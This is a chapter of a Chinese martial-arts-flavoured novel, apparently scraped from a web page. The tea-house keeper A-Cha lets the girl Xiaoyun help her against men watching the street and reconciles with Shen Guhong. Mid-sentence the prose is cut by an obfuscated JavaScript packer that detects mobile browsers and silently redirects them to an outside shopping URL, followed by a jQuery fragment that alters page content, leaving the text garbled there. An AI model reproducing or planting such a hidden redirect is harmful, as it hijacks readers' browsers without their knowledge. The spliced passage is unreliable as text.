次日午后，阿茶正在擦柜台，门口探进来一颗小脑袋。
“婆婆！”是小芸。
阿茶给她倒了一碗热水。
小芸接过来，捧在手心里，没喝。
阿茶不解地看着她，“怎么了，有心事？”
小芸点点头。
“婆婆，我昨儿个夜里，来过了。”
阿茶的手顿住了。
小芸说：“我睡不着，想来找您说说话。走到门口，听见您和爷爷在屋里说话。我就……站了一会儿。”
小芸的眼睛红了，她看着阿茶，一字一句地说：“婆婆，我都听见了。有人要害您，他们逼您交出一样东西……”
阿茶赶忙走到她面前，“你听见了多少？”
小芸说：“我都听见了。”
她抬起头，看着阿茶：“婆婆，您师父，是对您很好的人吧？”
不等阿茶回答，小芸接着说：“我娘说，人这一辈子，要对得起对自己好的人。您师父对您好，您记了他一辈子。您对我也好，给我水喝，教我道理，这些我也都记着。”
她站起来，看着阿茶，眼睛亮亮的，像山里的泉水。
“婆婆，我想帮您。”
阿茶的脸色沉下来，“不要胡言乱语。”
小芸说：“婆婆，我不怕的。我可以保护你。”
阿茶说：“你不怕？你可知道，那些人手里有刀，有剑，有杀人不眨眼的手段？你知道他们要是找上你，你跑都跑不掉？”
小芸说：“我知道。”
阿茶的声音提高了：“你知道什么！”
小芸愣住了。
阿茶还从来没有吼过她。
过了一会儿，小芸又认真地说：“婆婆，我不是小孩子了。我十六了，我娘说我该懂事了。我知道什么是危险。可是我真的不怕。我每次出去卖花，都是一个人。”
“那个爷爷不是说了吗？已经有人在盯着这条街了。我在街角见过那个人，穿青布长衫的。每次站在那儿，一站就是一上午。他已经见过我了。”
阿茶的心猛地一紧。
“你见过他？”
小芸点头：“见过好几回。有一回他还跟我说话，问我花怎么卖，问我茶肆一般几点开门、几点关门。”
阿茶的手攥得更紧了。
小芸说：“婆婆，他们是冲您来的。所以肯定知道我跟您走得近。他们已经见过我了，我早就被卷进来了。”
阿茶沉默了。
小芸说得对。那些人早就见过她了。她每天挑着花篮从门口经过，一天两趟，风雨无阻。那些人只要眼睛不瞎，早就记住了她的脸。
小芸走到阿茶面前，仰着脸看她。
“婆婆，您就让我帮您吧。我跑得快，我认识街上的每一个人，我知道哪条巷子能躲人，哪家后院能翻墙。我能帮您盯着，有人来了我就跑过来告诉您。我能帮您送信，帮您打听事，帮您做那些您不方便做的事。”
阿茶看着小芸的眼睛，她看到，那里头闪着一种特别的光。
那种光，阿茶曾经见过——在十七岁的自己的眼中。
那时，鲜衣怒马、赤诚坦荡，不怕死、不信命，觉得为了自己在意的人，天大的事都能扛。那时，师父常常说：“阿茶，你这倔脾气，早晚要吃亏。”
阿茶伸出手，摸了摸小芸的头。
“傻孩子。”她说，声音有点哑。
小芸仰着头，看着她：“婆婆，您答应了？您若是不答应，我就天天来求您。您骂我，我就听着。您打我，我就忍着。反正我不走。”
阿茶看着她笑了笑，“你倒是倔。”
小芸也笑了：“随您。”
阿茶摸了摸她的头，“你要帮我，可以。但有几条，你得听我的。”
小芸眼睛一亮：“您说！”
阿茶说：“第一，不许靠近那些人。远远看见了，就躲开。”
小芸点头。
“第二，有什么事，先告诉我，不许自己往上冲。”
小芸又点了点头。
“第三……”阿茶顿了顿，“万一真有什么事，让你跑，你就跑。不许回头。”
小芸愣了一下，然后说：“行。”
阿茶看着她，心里叹了口气。
她知道这丫头答应得快，真到了事上，未必能做到。可她能怎么办？
这丫头已经卷进来了。那些人已经见过她了。
阿茶转身，走到柜台后头，从抽屉里拿出一个小布袋，递给小芸，“拿着。”
小芸接过来，打开一看，是一小把铜板。“婆婆，这是……”
阿茶说：“跑腿的钱。以后帮我办事，不能白干。”
小芸急了：“我不要！我帮您是自愿的！”
阿茶不容置喙地看着她：“拿着。”
小芸红着眼睛点了点头，“婆婆，我一定好好帮您。”她把那袋铜板攥在手里，攥得紧紧的。
阿茶爱怜地摸了摸她的头。
小芸站起来，擦了擦眼睛，忽然又笑了。
“婆婆，那我先走了。我去街上转转，看看有没有奇怪的人。要是有，我就跑回来告诉您。”
阿茶说：“小心点。”
小芸应了一声，蹦蹦跳跳地跑出去。
跑到门口，她又回头，喊了一声：“婆婆，您放心，我跑得快！实在不放心，您就教我几招，哈哈……”
然后人就跑没影了。
阿茶站在门口，看着那个背影消失在巷子口。
红扑扑的脸，亮晶晶的眼睛，跑起来一蹦一跳的样子——多像当年的自己。
那时候她也这样，天不怕地不怕，觉得什么事都能扛。觉得只要跑得快，就能躲过所有危险。
后来她才知道，有些事，跑不掉。有些人，护不住。
阿茶低头，看着小芸给的花。花瓣红得刺眼。
她忽然想起师父临终前的样子：曾经名动天下的一代宗师，就那样浑身是血地倒在血泊中，双目紧闭，一动不动。
师父没能护住她。她也没能护住师父。
现在，竟然有一个孩子，主动站出来，说要保护她。
阿茶攥紧了那枝梅，眼角的泪水终于止不住流了出来。
傍晚，沈孤鸿来了。
他一进门，就看见阿茶坐在柜台后头发呆。阿花趴在她脚边，一人一猫，安安静静的。
沈孤鸿站在她边上，关切地问：“怎么了？”
阿茶把下午的事一股脑说了。
沈孤鸿听完，沉默了一会儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344632|199471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，然后说：“那丫头，是个好丫头。”
阿茶说：“我知道。”
沈孤鸿说：“她说得对，那些人见过她，记住她了，难保不会对她下手。这些年，你身边走得近的人，没几个。与其让她蒙在鼓里，倒不如让她帮我们。至少我们知道她每天在哪里，在干什么，也可以保护她。”
阿茶低下头，用手摩挲着杯沿。
“阿茶，我知道你心疼她。可有些事，躲不掉的。”
沈孤鸿伸出手，握住她的手。
“放心吧。我们看着她，护着她。真有事，我们一起扛。”
阿茶一直沉默地低着头，过了许久，才开口道：“沈孤鸿。”
“嗯？”
“你记不记得，你以前也说过这样的话。”
沈孤鸿愣了一下。
“你说，阿茶，这辈子我护着你。谁都不能欺负你。”
沈孤鸿的手微微发抖。
“后来你走了。我一个人，扛了三十三年。”
屋里很静。静得能听见油灯燃烧的细微声响。
沈孤鸿的声音哑了：“阿茶，我……”
阿茶终于抬起头，看着他。
“我没怪你。”她说，“我就是想告诉你，这一次，你不能再走了。”
沈孤鸿看着她，眼眶通红。他用力握紧她的手，像怕她跑掉。
“不走。”他说，“这次打死我也不走。”
第二天一早，阿茶刚打开门，小芸就来了。
她跑得气喘吁吁，脸通红，眼睛却亮得很。
“婆婆！”她压低声音，凑过来，“那个人又来了！”
阿茶的心一紧。
小芸说：“就是那个穿青布长衫的，在街角站着，往这边看呢！”
阿茶往街角看去。
空荡荡的，什么也没有。
小芸说：“刚才还在，看见我跑过来，就走了。”
阿茶低声说：“你只管回家去，别管他。”
夜里，阿茶躺在床上，想着白天对沈孤鸿说的那句话：“这次，你不许再不告而别。”
他既已应下，她本该安心。
可心底那点不安，却像根细刺，轻轻扎着，拔不掉，也挥不去。
这些年别离太多，等待太长，她怕再一次睁眼，身边又是空的。
她信他，可她更怕失望。
怕这一句承诺，到头来，还是留不住人。
阿茶侧过身，把脸埋进枕头里。
黑暗中，她听见自己的心跳，急促而沉闷。
沈孤鸿说，“这次打死我也不走。”
她信他。
可光信不够。三十三年的教训告诉她，光等着别人来护，护不住。
小芸那孩子……
想到小芸，阿茶不禁攥紧了被角。
她不能让那孩子出事。也不能让沈孤鸿再出事。
阿茶睁开眼睛，看着屋顶那一小片月光。
这一次，她不光要护住自己，也要护住他们。
窗外起了风，吹得窗纸沙沙响。月影映在墙上，变幻莫测。
阿花醒了，从脚边挪上来，蜷在阿茶的臂弯里，热乎乎的。
阿茶侧过身，把脸贴在阿花背上。不知不觉地睡去。